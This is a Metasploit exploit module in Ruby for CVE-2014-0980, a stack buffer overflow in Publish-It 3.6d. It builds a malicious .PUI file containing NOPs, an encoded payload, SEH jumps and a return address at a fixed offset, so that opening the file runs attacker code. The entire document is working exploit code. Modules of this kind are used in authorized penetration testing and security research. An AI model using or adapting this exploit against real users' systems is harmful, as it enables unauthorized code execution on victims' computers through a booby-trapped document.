## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Publish-It PUI Buffer Overflow (SEH)', 'Description' => %q{ This module exploits a stack based buffer overflow in Publish-It when processing a specially crafted .PUI file. This vulnerability could be exploited by a remote attacker to execute arbitrary code on the target machine by enticing a user of Publish-It to open a malicious .PUI file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Daniel Kazimirow', # Original discovery 'Andrew Smith "jakx_"', # Exploit and MSF Module ], 'References' => [ [ 'OSVDB', '102911' ], [ 'CVE', '2014-0980' ], [ 'EDB', '31461' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process', }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x0b\x0a", 'DisableNops' => true, 'Space' => 377 }, 'Targets' => [ [ 'Publish-It 3.6d', { 'Ret' => 0x0046e95a, #p/p/r | Publish.EXE 'Offset' => 1082 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 5 2014', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class) end def exploit path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui") fd = File.open(path, "rb") template_data = fd.read(fd.stat.size) fd.close buffer = template_data buffer << make_nops(700) buffer << payload.encoded buffer << make_nops(target['Offset']-payload.encoded.length-700-5) buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399 buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump buffer << make_nops(2) buffer << [target.ret].pack("V") print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buffer) end end